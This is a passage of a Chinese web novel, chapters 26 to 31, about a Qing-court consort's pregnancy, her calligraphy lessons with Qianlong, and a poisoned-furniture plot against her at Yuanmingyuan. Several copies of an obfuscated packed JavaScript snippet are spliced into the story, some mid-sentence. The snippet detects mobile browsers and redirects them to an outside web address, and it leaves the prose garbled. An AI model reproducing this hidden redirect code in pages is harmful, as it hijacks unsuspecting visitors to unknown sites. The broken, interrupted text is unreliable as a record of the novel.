“你这唐卡这处得重新拆了,这处也错了错了。”皇太后展开画一看,禁不住皱眉,但指出两处错误后,其他地方看着倒也顺眼,这对于一个新手来说算是不错了。 魏紫菀被她说得满脸通红,下意识抓起一把花生往嘴里一塞,但立马忍不住呕出声了,“咳咳呕——” 26. 第 26 章 “娘娘,您怎么了?”子衿配合地拍着她背部。 “还请太后娘娘原谅臣妾的失礼。”魏紫菀极力平复恶心感后,抬头正欲道歉,皇太后却叫住她,“令妃,你别动。” 皇太后眼神闪着喜意,似是想到某种可能,赶紧道:“兰佩,快去叫太医过来!” 腊月宫里忙上忙下,说不定真忽视了令妃的平安脉,令妃兴许是有孕了! 太医匆匆过来,搭上白帕后,过了不到一刻钟,这才肯定道:“奴才恭喜令妃娘娘,遇喜一个月了。” “好,哀家就喜欢听到这种好消息,正逢岁终年初,除旧迎新之时,是个好兆头,好极了,好极了啊。” 皇太后这下看令妃的眼神好似看宝贝似的,魏紫菀也恰逢其时露出惊喜的表情,不知所措看向皇太后,“太后娘娘……” “你不用担心,有哀家在。” 初次有孕的女子总是少了些分寸,皇太后不在意自己多派出些人手护着令妃,毕竟这胎是她发现的,她总得上心些。 不到半个时辰,令妃有孕的消息传遍后宫,皇后娘娘派人过来问候令妃身子,得知安然无恙方才离去,其他宫妃各按各宫派人送礼。 好些人感叹令妃好运,不过半年就怀上身孕了,但也只是感叹罢了,令妃这胎有皇太后看着,储秀宫上下虽说不是固若金汤,但绝非一般人能插手,有人起了心思,但掂量着令妃现在的麻烦程度,还是暂时歇下心思。 而乾隆得知时禁不住哈哈大笑,“紫菀有孕了,好事啊,李玉,顾太医最擅诊断妇人孩童脉象,派他到储秀宫当值,妃位有孕按理得赏三百白银,七十匹布,但腊月刚至,令妃有孕,乃双喜临门,这赏赐也得翻倍,李玉,按朕吩咐赏赐吧。” “是,万岁爷。”皇帝高兴,奴才也高兴,李玉喜气洋洋吩咐下去了。 储秀宫来来往往的嬷嬷有六人之多,都是有过照顾有孕宫妃经验的老妇人,听说有的还出宫当过稳婆,经验丰富,为令妃接生不再话下。 魏紫菀也就安心留在储秀宫里了,有求见的宫妃,一律不见。 高贵妃听说了也只是愣了一下,“算令妃好运,她这胎倒是能帮本宫挡挡风头,其他人可不是好对付的,如此风头大起——有她好果子受的。” 她将手伸出,徐大夫上前探脉,神色有些复杂,他曾经诊断过这种脉象,是双生儿的脉象,“恭喜娘娘有孕,只是——” 高贵妃刚听前半截话,脸上喜意刚浮起,又听徐大夫欲言又止,催促道:“只是什么,你快说,别让本宫看了心烦。” “只是娘娘怀了双生儿,若不出意外,娘娘这胎怕是要将娘娘这些日子刚调养好的身体耗空。” “本宫怀了双生儿?”高贵妃一时喜从天降,不知如何说话才好,她小心翼翼碰着自己小腹,没想到她会有怀上双生儿的一天,倘若她生下一儿一女,这是大清吉兆!哪怕皇后后来生下嫡子也拿她没办法! 果然老天爷就是让她争!若是不争,她哪来的双生子,高贵妃大喜过望,压根不理会徐大夫后半句话,只要能让她生下双生儿,就算是亏空她身子又如何,亏空了总会养回来的,但当上太后的机会就这一次! 夜晚,万岁爷果然过来,魏紫菀这次不用给他请安就被他扶起来了,“紫菀,你刚有孕,小心点。” 魏紫菀失笑:“万岁爷,妾身这肚子未大,胳膊劲可大了,您就放心好了。” “这怎么能放心!”乾隆振振有词,小心翼翼碰了一下她的肚子,像是初次当爹般欢喜,笑容满溢,“这是朕同你的第一个孩子,万般呵护都来不及。” 皇帝看重她孩子,魏紫菀只有高兴的份,她本来就想着尽量让皇帝跟孩子培养感情、多做做胎教。 女人是生下孩子的那一刻成为了母亲,但男人并非如此,他只有对孩子付出了越多的感情,他才会产生父爱,不然孩子夭折了,对于皇帝而言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14423014|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是自己血脉断了一支的痛苦,眨眨眼就过去了。 原身记忆中,皇帝总是对公主万般珍爱,是源于公主不能争不能夺权。 魏紫菀想好了,原身要走的路从她过来的那一日开始就断了,她不会像原身那样生下未来皇帝,更不会母凭子贵被皇帝追封皇后。 她这辈子要过的生活很简单,就是在宫里衣食无缺的活着,生下来的孩子好好抚养长大,都养在身边,积极争宠,让皇帝稍稍对她和孩子偏颇,一辈子生活富足无忧无虑,这是上辈子的她所求不来的安定日子。 上辈子的美貌固然能利用,可对于无权无势的人家,美貌只是把双刃剑。 若是她生下一个阿哥,她要怎么让皇帝对她孩子上心,只要让皇帝意识到这个孩子并非有争储资格就好。 她之所以断定贵妃有孕,也是希翼贵妃真的怀上身孕了,唯有如此,贵妃生下的阿哥和皇后迟早生下的嫡次子排在前面,皇位无论如何都轮不到她的孩子,皇上可安安心心将她的孩子当作寻常人家的儿女呵护。 这一辈子有子有夫有富足生活有娘家人安康,眨眨眼也就过去了。 “万岁爷,您说的没错,孩子自是得好好呵护。”魏紫菀眨了眨眼,“噔噔噔噔——您看!” 魏紫菀从身后拿出了一件虎头衣,“万岁爷,您看看妾身亲手做的衣裳怎么样?” 乾隆吃惊,“今天才刚诊断出有孕,你就准备好孩子衣裳了?” 他反应过来了,好笑道:“你就这么期待生下朕孩子,居然这么早就准备了。” “那肯定啊,万岁爷天人之姿,妾身能生下万岁爷孩子就是幸事,”魏紫菀心里确实是这么想的,一个权力最高的男人,至少能庇佑她孩子这辈子衣食无忧,权力在握。 她选择将孩子生下来,当然要保证她/他这辈子即便什么都不用做,也能有最美好的生活。 “妾身这么期待,万岁爷期不期待?” 27. 第 27 章 看着爱妃如同献宝般将虎头衣递给他,乾隆心里泛软,“朕当然期待,朕说过了,这是朕和你第一个孩子,自是珍重无比。” “那万岁爷跟妾身一起给孩子做胎教吧?” “胎教?” “嗯,顾名思义就是给还在腹中的孩子教学,妾身听说在孩子还在腹中时教他各种学问,孩子长大以后必然如父母所愿成为这样的人。就好比妾身教他为人子女要孝顺父母,教他百家姓千字文,万岁爷,您说孩子生下来后,会不会刚开蒙就对这些学问朗朗上口了。” “是吗,还挺有意思的。”乾隆一下子兴致来了,“那朕教他什么才好。” 乾隆会的东西挺多的,但一下子想起一个让合适孩子的,他还真认真想了一下,“朕教他《增广贤文》,朕每晚都给他念上一些,迟早会让这孩子通灵窍。” “那妾身就边学边教了,让他看到他额娘认真读书的态度!” “你啊,怀孕也不放过自己。”乾隆早就知道她一天到晚躲在储秀宫的原因了,是觉得自己会的字不够多,说实话,他觉得这样好归好,但不太明白她这么做的原因。 “这才不辛苦,学习累的只是脑子,但是这样以后万岁爷想跟妾身说说诗书,妾身也能听懂了,况且万岁爷最擅楷书、行书,妾身也得跟上,万岁爷忙了一天政事,累的是身和心,妾身只想想让万岁爷开心点。” 原来是为了他。 乾隆愣了一下,目光愈发柔和,“那朕教你。” “好!”意外之喜!魏紫菀巴不得这样,皇帝学识比关嬷嬷多是肯定的事,她不能接触夫子,得不到最正统的教学,可有万岁爷在,谁还要夫子。 “万岁爷,您看看妾身写的字,有哪些不足您就指点妾身吧。” “行。”皇帝做胎教的兴致说变就变,立马拿起字帖仔仔细细扫了一眼,指出不对的地方:“你看看,你这里下笔是不是犹豫了,写出来的字粗的粗,细的细,歪歪扭扭,你得从最简单的笔画练起,没有基本功哪来的行云流水。” “嗯嗯。”魏紫菀在旁不住点头,满脸若有所思,摆明学进去了,“那万岁爷也帮妾身好好这两张,妾身总是觉得这两幅字帖看着不大顺眼。” “你这可就不对了。”乾隆咳了一声,“你给朕看看你怎么握笔的?” “这样?”魏紫菀尝试握笔,只见她大拇指和食指夹住笔杆,中指抵住笔杆下方,但手背上的青筋微微突起,皇帝一眼就看出不对劲了,“你再松点。” “好。”魏紫菀又松了一把力度,皇帝摇摇头,“太松了,握笔讲究不松不紧,力道适中,朕亲自教你,紫菀你可得看好了。” 皇帝附在她身后,大手覆上她的手,亲自带动她的手写下几个大字,正是‘正大光明’四字。 “万岁爷,这是乾清宫正殿的“正大光明”匾上的字吧。” “眼力不错。”乾隆含笑道,“朕再教你写几个字,你写给朕看先。” “好。”魏紫菀照葫芦画瓢,有模有样写下正大光明四字。 “不错,只是你还得从最简单的字练起,这样好了,朕给你布置功课,你三天内完成,朕看看你练得怎么样?” “嗯……”魏紫菀若有所思,“万岁爷,妾身现在是不是得叫您圆寿夫子。” 乾隆好笑,“叫朕弘历吧,圆寿夫子听着怪生分的。” “妾身真的可以叫万岁爷名字吗?这会不会太熟络了,显得妾身不大守规矩。”魏紫菀假模假样犹豫道,她很想直接叫,但太过直接就显得她不够敬重皇帝。 “你叫都叫了,朕还能让你收回去?”乾隆没好气道:“你都有了朕的孩子,还跟朕讲生分?你笑朕是圆寿公公时,又不见你这般犹豫。” “那自是不能的。”魏紫菀莞尔一笑,瞳孔完完全全映着万岁爷的模样,“弘历。” “嗯。”乾隆温声应下,转头又布置下十篇大字的功课了。 魏紫菀倒不介意练字,有皇帝这么负责的夫子在,她练得越多,进步越大。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439818|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是帝妃二人练着字,说着悄悄话,都忘了给腹中孩子做胎教一事,还是魏紫菀在临到安寝前才想起这时,赶紧将所谓的大字的布局架构、如何调墨、研磨等知识点抛在脑后,难得有些慌张道:“万岁爷,还得胎教,一天都不能落下!” 乾隆表情倏的郑重其事起来,“那朕快快念完一部分,可不能耽搁你和孩子睡觉。” “好。”魏紫菀点头,颇为认真地想着,孩子可别怪皇阿玛和额娘敷衍啊,这是额娘头次当母亲,也是你皇阿玛头次给孩子做胎教,头次有些疏漏很正常。 明天她绝对好好练大字,教孩子读书上进! 魏紫菀此时不光是头次为人母的责任心作祟,还有种激娃的斗志在,每个初为人母的女人总会有些幻想,就是腹中孩子生下来会不会在某方面天赋异禀,自己当娘的不能浪费孩子天赋,激娃,从娘胎里开始。 当然要是孩子是个没有斗志的,这皇家富贵日子也能供他/她一辈子衣食无忧,除了肖想皇权和道德败坏之事,想干啥就干啥,她想方设法偶遇皇帝为的就是这种让自己和孩子安心的未来。 乾隆一丝不苟拿起书,一字一句的念着,“……知己知彼,将心比心。酒逢知己饮,诗向会人吟。” 皇帝声音抑扬顿挫,果真是被先帝教出来的皇子阿哥,在读书方面尤其出色,魏紫菀听着有些晕晕欲睡了,但还是强硬让自己打起精神。 乾隆有些好笑,放下书让她靠着,低声道:“不如先睡着?” “不行!”魏紫菀在这方面态度格外强硬,“要给孩子做胎教,当娘的睡了,孩子也就睡了。” 但乾隆继续念下去时,大抵是身旁身子太过温暖,魏紫菀一个不注意眼睛闭上了,闭上后就沉沉睡着了。 “……还真是说睡就睡了。”乾隆无奈,目光落到她脸上、肚子上,喃喃自语,“这么喜欢这小子?也不知道是不是个小公主,若是小公主,朕最是喜爱,若是小阿哥……” “倒也不错。” 28. 第 28 章 他仔细想了想,他最盼着的子嗣是嫡子,但只要是紫菀给他生的孩子,他也是喜爱的,是个阿哥也无碍,承载他继承人厚望的是嫡子或是排行前面、年长的子嗣,紫菀和他的孩子,就按寻常人家里的幺儿疼爱吧。 又不要小儿子继承皇位,更不需要小儿子有多出息——他儿子虽然不多,但老大、老三、老四、老五和老六都立住了,整整五个儿子,也不需要小儿子操心朝廷之事,像弘昼那样过着潇洒王爷的日子倒也不错。 短短一息间,皇帝就已经想到这么多了,不过,生儿生女都是上天缘分,孩子平安就好了,他也不求其他。 乾隆将魏紫菀抱起放到床上,盖好被褥。 想起宫中有孕的妃子小产的也不少,皇帝顿时没兴致想生下来的孩子是阿哥还是公主了,只要母子平安就好。 翌日一早,魏紫菀怀孕时睡眠状态不怎么好,几乎皇帝一起身就感觉到了,但她双眼又睁不开,感觉到皇帝没有叫醒她的意思,她又安心的继续睡着了。 乾隆穿好衣裳,眼睛瞥见魏紫菀迷迷糊糊起身又一头栽下去,满心好笑,若不是赶着上朝,他还真有心逗一逗她了。 不过说来也巧合,等皇帝一走,过了一刻钟,魏紫菀就自发自觉起来了,身上没有一丝困意,吃过早膳后精神奕奕让关嬷嬷拿出万岁爷和皇太后的赏赐! 万岁爷赏的银两足足六百两,皇太后那边出手也大方,给了她两百两银子,赏下的各种物品倒不用多说,她在意的是银子,毕竟其他东西只是供她作为妃子的门面使用,但这银子到手了就真是她的了。 家里给她的银票以及这些个月的月钱打点各方面都花的差不多了,万岁爷和皇太后的这些银票就是雪中送炭! 魏紫菀心里乐开花,将银票数来数去,终是安心将银票放在只有自己有钥匙的匣子里。 “子衿,绿萍,你们俩好好记下各宫送来的礼物,都记在账上。” 两人心细,魏紫菀还挺放心她们俩的。 “是,娘娘。” “关嬷嬷,皇后娘娘送来何物?”魏紫菀昨日不见皇后娘娘有动静,是今早才得了赏赐。 “娘娘,皇后娘娘送来红底多子多孙纹帐檐和婴孩的衣物,小床和玩具。” “皇后娘娘有心了。”魏紫菀直接起身玩了把孩子的拨浪鼓,拨浪鼓发出“咚咚咚”的清脆声响,玩具质量挺好的。 皇后娘娘赏赐的孩童之物够多,之后不用她特地吩咐下去采办了——皇后娘娘送来的东西总不会害了她的孩子,但是经过别人手的东西未必就有多安全了。 “青柳,你去一趟造办处,让他们照着这设计图来,用料一切按最好的来,不用着急,在上元节之前完成就好。” “是,娘娘!”青柳应得铿锵有力,立马出发了。 “关嬷嬷,李公公,本宫有更重要的事情吩咐你们。”子衿、绿萍和青柳都忙活去了,魏紫菀看了眼正殿正堂摆设。 正殿已经完全被她所用,明间设宝座,乃大厅,东梢间做小佛堂,西梢间是暖阁,作为寝室使用,东次间则作为书房使用,西次间做库房使用。 而东西配殿则是被低位妃子们住下,正殿和后殿丽景轩都归她所属。 耳房则由奴才们住下。 这布局足够合理,但等明年一来,她就得随万岁爷去圆明园暂住一段时日了,大多数宫妃都得跟着去,可问题是万岁爷不可能一年到头都留在圆明园,她还得回来生孩子。 如果在她不在时,生孩子的地方被人动了手脚,那就真是有苦说不出了。 “娘娘,您尽管吩咐。” “你们谁留下来看着储秀宫。待明年上元节前,本宫要出宫,你们一人得守在本宫身边,一人守在储秀宫,如此本宫才算放心。” 魏紫菀自有自己的考虑。 关嬷嬷在宫里人脉多,且还有谦太妃那一层关系,说是仗着她宠妃的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈贵人目光炯炯,认定自家娘娘叫自己过来是有要事吩咐,而且她也觉得自己闲太久了,娘娘这么快有孕,她总得再展现展现自己的能耐。 29. 第 29 章 “……”魏紫菀被她流露出的期待哽了一下,她本意是想叫陈贵人过来说点其他事的,还真没有要吩咐陈贵人的事。 只是陈贵人都这么说了,她还真想起一些事,“这些日子你别去咸福宫了,就算要打探消息,也别找上高贵妃。” 高贵妃怀有身孕,要是因陈贵人的到来出现意外,牵连的不光是陈贵人,还有她这个储秀宫之主,有心人会揣测更多——她和高贵妃是一前一后的宠妃,又同时怀上身孕,兴许会对高贵妃那胎起心思,派出自己宫里的妃子。 陈贵人点头,“是,婢妾都明白这些道理。” “你就时常过来陪本宫说说话吧,本宫怀着身孕,足不出户,有你陪着就更好了。” “是,娘娘。”陈贵人一愣,立马反应过来令妃娘娘的意思了,一时间更为感激了。 无子无宠的宫妃要如何升位,在万岁爷或是皇太后跟前努力刷存在感,但陈贵人很少有这种机会,如今令妃娘娘愿意提携她,她自是感激不尽。 魏紫菀并非无缘无故当好人,她能这么做,只是考虑到了一点——尽力将储秀宫的隐患去除,陈贵人虽说位份低,但是作为万岁爷潜邸旧人,资历深,她不得不防。 安抚好陈贵人,旁人就挑拨不了她,况且在原身记忆中,陈贵人活得久,又有潜邸旧人身份,即便无宠无子,迟早也会因为资历封做主位,她也是提前跟一个一宫主位打好交道。 不然到时宫中高位都是彼此知根知底的潜邸旧人,就她夹杂其中,以一人之力孤立所有人,那就有些狼狈了。 陈贵人并不知主位娘娘心里打的主意,娘娘有意提拔她,她不能干愣着,她立马拿出自己得知娘娘有孕后立马忙活起来的小孩衣物,“娘娘,您说这虎头帽这内里要收多少?婢妾将线藏好了,伤不到孩子。” “让本宫看看。”魏紫菀接过虎头帽,“依本宫看啊,你这里不是往内收的问题,是你裁剪时就画线不圆整……” 原身记忆有这些女工的技巧,魏紫菀手上功夫不大熟练,但理论知识一套套的。 就这一顶虎头帽,两人就商量了一下午,待日头暖融融时,各宫宫殿都处于一片静谧当中。 午后,长春宫娘娘从睡梦中惊醒,起身问道:“什么时辰了?” “娘娘,是午时六刻。” “本宫知了。”皇后醒过来后,坐在紫檀宝座上闭目养神好一会儿,“令妃有孕,碍不着大事,可咸福宫你可查好了?” 冬菊摇头,“娘娘,奴才只查到贵妃娘娘月事照旧来,但身子好转许多,能经常在院子里走动,只是不常出来。” 皇后眉眼稍稍放松,“只要她并非有孕,其他事都不算坏事。” 只是她仍是不可避免怀念贵妃身子羸弱的那些日子,半年前高斌病重,贵妃也病重,高家是凭借高斌崛起的,这些年来,高家在朝廷有高斌,在后宫有高斌之女高贵妃,看着势大,可一朝倒台也就是两个人病逝的事。 可惜父女俩双双好起来了,还让高斌找到了医治贵妃身子的大夫。 但不知是日有所思还是夜有所梦,在即将出发圆明园之前,贵妃身子突然起不来了,并非急症,可也是无法伴驾的程度。 说曹操,曹操就到。 皇后一时间心情好极了,“既然贵妃无法伴驾,便留在宫里好生养着身子吧。” 既然要病,那就一直病下去吧。 若非万岁爷足够看重嫡子,无论多少个庶子出生,只要她能生下嫡子,皇位必然是她儿子的,为了不影响万岁爷心目中她的地位,她早就想办法对贵妃身子下手了。 对她而言,只要下手了,必然会有漏洞,所以不到万不得已之时,她万万不可对贵妃下手。 …… 上元节是大清的元旦、冬至、万寿节之外最重要的节日之一。 正月十五前,于圆明园内,万岁爷会在奉三无私殿升座,期间丝竹管弦不停,往来穿插着戏曲表演,先举行联络宗室感情的苏宴,后举办联系外藩和臣子们感情的外藩宴会。 到正月十五日时,才是内廷宴会,这是后宫嫔妃的主场,跟前两场联络感情的宴会不同,此乃正儿八经的家宴,期间发生任何事都不被御史记载。 不过在这之前,皇帝还得带着一众宫妃、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14457438|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣子前往圆明园才行。 魏紫菀才怀胎两个月,身子不重,让子衿、绿萍和青柳三人收拾好了就上马车了,期间青柳还喜滋滋道:“娘娘,您吩咐下去的娃娃车做好了。” “那就一并带上!”魏紫菀大手一挥,十分阔气道。 娃娃车就是她吩咐造办处准备的婴儿小推车,经她精心设计,保证是皇宫里的独一份样式,万一在圆明园早产了,这车也能派上用场,听说圆明园风景独特,她正好推着孩子尽收美景。 乾隆得知紫菀设计出一辆娃娃车,心里还真起了点兴致研究这做给小婴孩坐的车,看过设计图后,感叹紫菀心灵手巧,不过当额娘的这么用心,当皇阿玛的可不能输,他顺势赏下特供乾清宫的文房四宝,美名其曰是等孩子出生后给孩子用了的,但实际上赏给储秀宫,那就是魏紫菀的东西了。 毕竟皇上最是清楚她最近练字的情况。 魏紫菀喜笑颜开收下赏赐,仔仔细细将松花砚看了又看,感受手上温润如玉的手感,越发满意了,“子衿,等到了地儿就放在本宫书房里。” 皇宫里用的文房四宝大多由内廷御书处或是造办处打造,但由皇上亲自赏下的,总是耗费更多精力物力的,跟皇宫里打造的文房四宝不可沦为一谈,就比如这松花砚,寒冬研墨不冻,乃是康熙帝钦定的御砚。 “娘娘,您怀孕期间可不能累着。”绿萍苦心劝道。 “本宫知道。”魏紫菀摸了摸肚子。 “娘娘,咱们该出发了。”子衿撩开门帘,看着其他娘娘上马车,压低声音道。 “好。”魏紫菀朝咸福宫方向看了一眼,如果说之前只是半信半疑高贵妃有了身孕,现在就确凿无误了。 但与她无关了,如今储秀宫固若金汤,她身边有心腹奴才和皇太后派下的人,以及万岁爷的重视,她有七成信心护住自己的孩子。 从原身为了家族和自己博一场富贵,也从高贵妃为了高家富贵、压过皇后的种种算计开始,两人都算不上清白。 即便各有苦衷,在这一世,令妃跟高贵妃将无一丝一毫的牵扯,愿往后余生也是如此,互不相干。 30. 第 30 章 咸福宫,秋水禀告,“娘娘,她们都出发了。” “是吗?”高贵妃站起身来,喜嬷嬷搀扶着她,她脸上带着母性的温柔,“本宫怀了两个月,万岁爷出去此行,等归来时,本宫肚子也大了,等本宫坐稳三个月胎儿时再向万岁爷禀告此事,皇后鞭长莫及,奈何不了本宫。” “娘娘,您这胎可是大清吉兆,皇室从未出现过龙凤胎,从您这里开始,便是头一桩的了。” “本宫清楚。”高贵妃眉眼一挑,她腹中子嗣必然是一儿一女,再不济也是双生子,无论哪个结果,对于如今没嫡子傍身的皇后而言,都是莫大的刺激。 所以,为了保住她的孩子,她瞒着自己身孕这事,万岁爷一定会谅解的,而皇太后有了孙儿,只会更欢喜,就算看她再不顺眼,也会为了孙儿网开一面。 “那边可安排好了?” “安排好了。” “那就好,容忍令妃得意这么久,也是本宫脾气越发好了。” 高贵妃知道,自己留在紫禁城里不但能护住自己的孩子,还能趁机将令妃的孩子弄掉,也没人会怀疑到她身上。 令妃着实安生太久了,她不在意令妃,却不得不防着令妃真成为第二个她,况且想着令妃那张格外貌美的脸蛋,以及一进宫就怀上身孕的好身子,顺势拉令妃下马也就是第二个怡嫔的事。 只要令妃没了身孕,迟早也是沦落成失宠任人欺辱的地位。 还有,自打皇上对她没有以往上心后,作为罪魁祸首的令妃,必然要担上这个因果,倘若令妃出现得再早一些,她有了替身,万岁爷也不会怀疑她用心。 一切完美之极。 可惜令妃偏偏自作聪明,出现在大选之上,既然不为她所用,那就别怪她要毁掉她了。 …… 圆明园,始建康熙四十六年,由康熙皇帝亲自命名,后来经过雍正帝和乾隆帝的增建、改建,便形成了今天的圆明园规模—— 南部从大宫门到正大光明殿是皇帝进行朝仪活动的地方,而在正大光明殿偏东的勤政殿,便是皇帝听政的地盘。 在正大光明殿之后的是九洲清宴,乃皇帝、宫妃们居住的内廷,中间以寿山分割了朝廷内廷,四周环绕着殿堂楼阁,亭台水榭,非一般幽美。 九洲清宴位于圆明园西部,又分三组大殿,其中之一的九洲清晏殿乃皇帝寝宫,而“天地一家春”就是宫妃们居住的寝宫了,共七间正殿,令妃、嘉妃、娴妃、纯妃、愉嫔、舒嫔和怡嫔七人占据七间正殿。 皇太后并不跟小辈们掺和在一起,住在长春仙馆,皇后和和敬公主亦住在长春仙馆。 魏紫菀一路上打着小盹,迷迷糊糊下马车,湖面冷风吹来,她稍稍清醒了些,便被眼前美景震撼到了,且不论各色建筑,光是置身此处,便如同降临如梦似幻的仙境,她一下子精神许多了,并下定决心立马补觉,醒来后到处游玩—— 她还是稍稍念及腹中子嗣,想着养足精力后在周围巡视一周后再好好的玩。 只是没等她坐下来休息多久,李祖德便沉着一张脸将周围的差错查出来了,“娘娘,您看这里,有一道不明显的裂痕。” 他指着高一尺七、长六尺七、宽三尺七的架子床道,所谓的裂痕正好在床板下寻常人看不见的地方,倘若魏紫菀躺上去,兴许半夜床塌了,她受到惊吓,连累腹中子嗣…… “还有这儿。”李祖德继续指着老红木嵌螺钿盘架和花梨木九屉三弯腿梳妆镜台,盘架也是不明显处有了裂缝,将水盘放上去,效果跟架子床差不多,当水盘突然跌落时,保准能将孕妇吓一跳。 妆镜台倒没有动这些手段,但李祖德脸色更为紧绷了,他早年因为干活不力,让工匠用的木头浸了水差点被打死,后来专门了解了各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14464523|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种木头。 他上手一摸,凑近一闻,很快就发现不对劲了。“娘娘,这木头熏了某些东西,闻起来味道不对,而且这里有几处由活木拼凑,并且在娘娘到来之前撒了水——花梨活木是有毒的。” 魏紫菀脸色顿沉,她以为在皇宫之中没人算计她子嗣,没想到在这里等着她呢。 “既然等着要本宫孩子的命,本宫倒是看看到底是谁动的手。” 此事不可打草惊蛇,在场的人都意识到这点,子衿问道:“娘娘,咱们怎么做?” 是‘怎么做’而非‘怎么办’,对于储秀宫的主子奴才来说,这事绝没有忍气吞声的说法,忍一时就是忍辱负重,退一步被人步步紧逼,她们刚在宫里立稳脚跟,不立威何以威慑下手之人。 魏紫菀蹙眉思忖,道:“子衿,你去查这里先前来过何人,动作小心点,李公公,你继续帮本宫查清楚此处还有什么不干不净的,这地方肯定是不能住了。” 愉嫔、舒嫔和怡嫔只是嫔位,还不至于敢对妃位动手,也没有这个能耐,或许愉嫔和舒嫔会觉得四妃最后一个妃位被她占了心里不舒服,可不管有多少小心思,现实是她们确实不至于为了一个已经被人占了的妃位对她的孩子动手。 所以最大嫌疑在妃位和妃位以上的宫妃中。 皇后娘娘倒不至于,不是说皇后对庶子忍耐度多强,而是万岁爷的态度一清二楚,万岁爷心里唯一的继承人只有嫡子,皇后即便现在没有嫡子傍身,可那些庶子都威胁不到皇后尚未出生的嫡子。 纯妃、嘉妃、愉嫔她们的孩子不照旧平安生下来了。 “青柳,随本宫去打探一二。” 不管是谁,她不信那人能一直不露出破绽。 “是,娘娘。”奴才们对视一眼,脸色紧绷极了。 不管是谁下手,她们必然要齐心协力护住娘娘和小阿哥! 31. 第 31 章 ‘天地一家春’的寝宫由妃子位份高低决定,高贵妃不随驾,魏紫菀就是头个挑选宫所的。 她所在的正殿风景最好,又是万岁爷过来寻宫妃时迈进宫门最近的地方。 用一句简单的话来形容,就是方便妃子争宠,就算不争宠,也是个调养身心的好地方。 因此宫妃们在长春仙馆坐下有说有笑时,魏紫菀莞尔一笑,提出自己想跟妃子们换寝宫的想法,本来各说各的的妃子们立马提神醒脑了。 嘉妃迫不及待道:“令妃姐姐,您不骗妹妹?” “我骗你能讨得什么好处?我怀着身孕,平时就喜欢安静点儿的地方,你看我门前两棵松树,我今天刚到屋里坐下,就听见屋外鸟儿叽叽喳喳的声儿,觉得吵,想赶它们走吧,我一看,那鸟巢上还有几只雏鸟,那黄口还等着大鸟喂食,我怀着身孕,一时心软,不好赶走那鸟儿,只好换个寝宫图个耳根清净了。” 纯妃赞道:“姐姐果然慈母胸怀。”她也是一副迫不及待的模样,谁不想争宠,就算有两个儿子傍身也一样,“妹妹那宫所正好安静——” 她话还没说完,就被嘉妃打断了,“纯妃姐姐,六阿哥毕竟年幼,常抱来姐姐屋里,这鸟儿万一吵着六阿哥,那可如何是好。” 怡嫔眉眼一动,想争一回,但看到纯妃和嘉妃争起来,便打消心里念想了,即便想当黄雀在后,她也没这个本事。 往旁边一看,愉嫔和舒嫔也有些心动,但都不开口争这一回,她就更不敢开口了。 妹妹柏氏在她身旁充作她一等宫女,见此情形有些心急,姐姐不得宠,若是换个近一点的地方,也好争宠,她压低声音,“姐姐。” 怡嫔抬眼看了她一眼,柏氏就算再心急,这会儿急忙低下头,不吭声了。 魏紫菀颇为为难,“我跟你们谁换都不好,总不能让你们伤了和气,娴妃妹妹,我想跟你换换这寝宫,你可愿意?” 她含笑看向娴妃,纯妃和嘉妃心道不妙,她们俩相争,倒是便宜了娴妃。 娴妃一愣,显然没想到令妃会提到自己,但若是能得更多帝王恩宠,为何不愿意,她点了下头,“令妃,便劳烦你这一回了。” 魏紫菀笑了笑,“有什么好劳烦的,我还正想谢你——”“大事不妙了,‘天地一家春’走水了——” 她话还没说完,就听见有太监大声喧嚷,她一愣,急忙站起身来。 只见皇后娘娘和皇太后一并出来了,脸色严肃,皇后道:“‘天地一家春’走水了,你们都留在长春仙馆,令妃,你就在这儿住下吧。” 不管‘天地一家春’走水是因什么原因,让怀着身孕的令妃继续住在那,要是有个万一,她担不起! 